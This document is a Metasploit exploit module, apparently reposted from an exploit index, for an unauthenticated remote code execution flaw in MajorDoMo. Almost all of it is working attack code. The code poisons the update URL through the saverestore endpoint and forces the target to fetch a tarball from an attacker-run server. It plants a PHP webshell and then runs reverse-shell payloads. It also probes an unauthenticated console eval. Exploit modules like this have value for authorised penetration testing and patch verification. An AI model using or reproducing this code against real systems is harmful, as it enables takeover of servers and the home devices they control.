Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MAJORDOMO_SUPPLY_CHAIN_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rubygems/package'
require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MajorDoMo Supply Chain RCE via Update Poisoning',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability in
          MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's
          admin() method is reachable without authentication through the /objects/?module=saverestore
          endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)
          instead of $this->mode for mode checks.

          Two unauthenticated GET requests chain together for full RCE:
          1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server
          2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the
          poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()

          The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity
          check. The attacker serves a fake Atom feed with an entry older than the configured delay
          (default 1 day) and a tarball containing a PHP webshell. After deployment, the module
          executes the payload through the webshell.

          All versions of MajorDoMo up to and including the latest release are affected.
          The fix is tracked in PR sergejey/majordomo#1177.
        },
        'Author' => [
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-27180'],
          ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
          ['URL', 'https://github.com/sergejey/majordomo/pull/1177']
        ],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-02-18',
        'DefaultOptions' => {
          'RPORT' => 80
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']),
      OptInt.new('UPDATE_TIMEOUT', [true, 'Seconds to wait for MajorDoMo to fetch the update', 30])
    ])

    deregister_options('SRVURI')
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'objects', ''),
      'method' => 'GET',
      'vars_get' => { 'module' => 'saverestore' }
    )
    return CheckCode::Unknown('Failed to connect to the target.') unless res

    unless res.body.to_s.include?('MajorDoMo') || res.code == 200
      return CheckCode::Safe('Target does not appear to be MajorDoMo')
    end

    marker = Rex::Text.rand_text_alphanumeric(8)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'method' => 'GET',
      'vars_get' => {
        'ajax_panel' => '1',
        'op' => 'console',
        'command' => "echo '#{marker}';"
      }
    )

    if res&.body.to_s.include?(marker)
      return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)')
    end

    CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access')
  end

  def build_atom_feed
    commit_id = Rex::Text.rand_text_hex(40)
    # Entry must be older than the configured delay (default 1 day)
    old_date = (Time.now.utc - (3 * 86400)).strftime('%Y-%m-%dT%H:%M:%SZ')
    <<~ATOM
      <?xml version="1.0" encoding="UTF-8"?>
      <feed xmlns="http://www.w3.org/2005/Atom">
        <title>MajorDoMo</title>
        <entry>
          <id>tag:github.com,2008:Grit::Commit/#{commit_id}</id>
          <updated>#{old_date}</updated>
          <title>Update</title>
        </entry>
      </feed>
    ATOM
  end

  def build_tarball(shell_name, php_code)
    tar_io = StringIO.new
    tar_io.set_encoding('ASCII-8BIT')

    Gem::Package::TarWriter.new(tar_io) do |tar|
      tar.mkdir('majordomo-master', 0o755)
      tar.add_file_simple("majordomo-master/#{shell_name}", 0o644, php_code.bytesize) do |io|
        io.write(php_code)
      end
    end

    gz_io = StringIO.new
    gz_io.set_encoding('ASCII-8BIT')
    gz = Zlib::GzipWriter.new(gz_io)
    gz.write(tar_io.string)
    gz.close
    gz_io.string
  end

  def poison_update_url(url)
    vprint_status("Poisoning update URL to: #{url}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'objects', ''),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'saverestore',
        'mode' => 'auto_update_settings',
        'set_update_url' => url
      }
    )
  end

  def trigger_update
    vprint_status('Triggering force_update...')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'objects', ''),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'saverestore',
        'mode' => 'force_update'
      }
    )
  end

  def execute_webshell(shell_name)
    vprint_status("Executing payload via webshell: #{shell_name}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, shell_name),
      'method' => 'GET'
    )
  end

  def exploit
    shell_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
    php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    php_code = "<?php #{php_payload} ?>"

    atom_feed = build_atom_feed
    tarball = build_tarball(shell_name, php_code)
    feed_served = false
    tarball_served = false

    # Start HTTP server to serve the Atom feed and tarball
    # MajorDoMo transforms /archive/master.tar.gz to /commits/master.atom for the feed
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          path = req.uri
          vprint_status("Received request: #{path}")

          if path.include?('.atom')
            print_status('Serving fake Atom feed...')
            send_response(cli, atom_feed, { 'Content-Type' => 'application/atom+xml' })
            feed_served = true
          elsif path.include?('.tar.gz')
            print_status("Serving malicious tarball (#{tarball.length} bytes)...")
            send_response(cli, tarball, { 'Content-Type' => 'application/gzip' })
            tarball_served = true
          else
            send_not_found(cli)
          end
        end,
        'Path' => '/'
      },
      'SSL' => false
    })

    srv_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/archive/master.tar.gz"
    poison_update_url(srv_url)
    trigger_update

    # Wait for MajorDoMo to fetch the feed and tarball
    timeout = datastore['UPDATE_TIMEOUT']
    print_status("Waiting up to #{timeout}s for MajorDoMo to fetch the update...")
    timeout.times do
      break if feed_served && tarball_served

      Rex.sleep(1)
    end

    unless feed_served && tarball_served
      fail_with(Failure::TimeoutExpired, 'MajorDoMo did not fetch the update in time. Ensure SRVHOST is reachable from the target.')
    end

    # Give MajorDoMo time to extract and deploy
    print_status('Update fetched, waiting for deployment...')
    Rex.sleep(3)

    register_file_for_cleanup(shell_name)
    execute_webshell(shell_name)
  end
end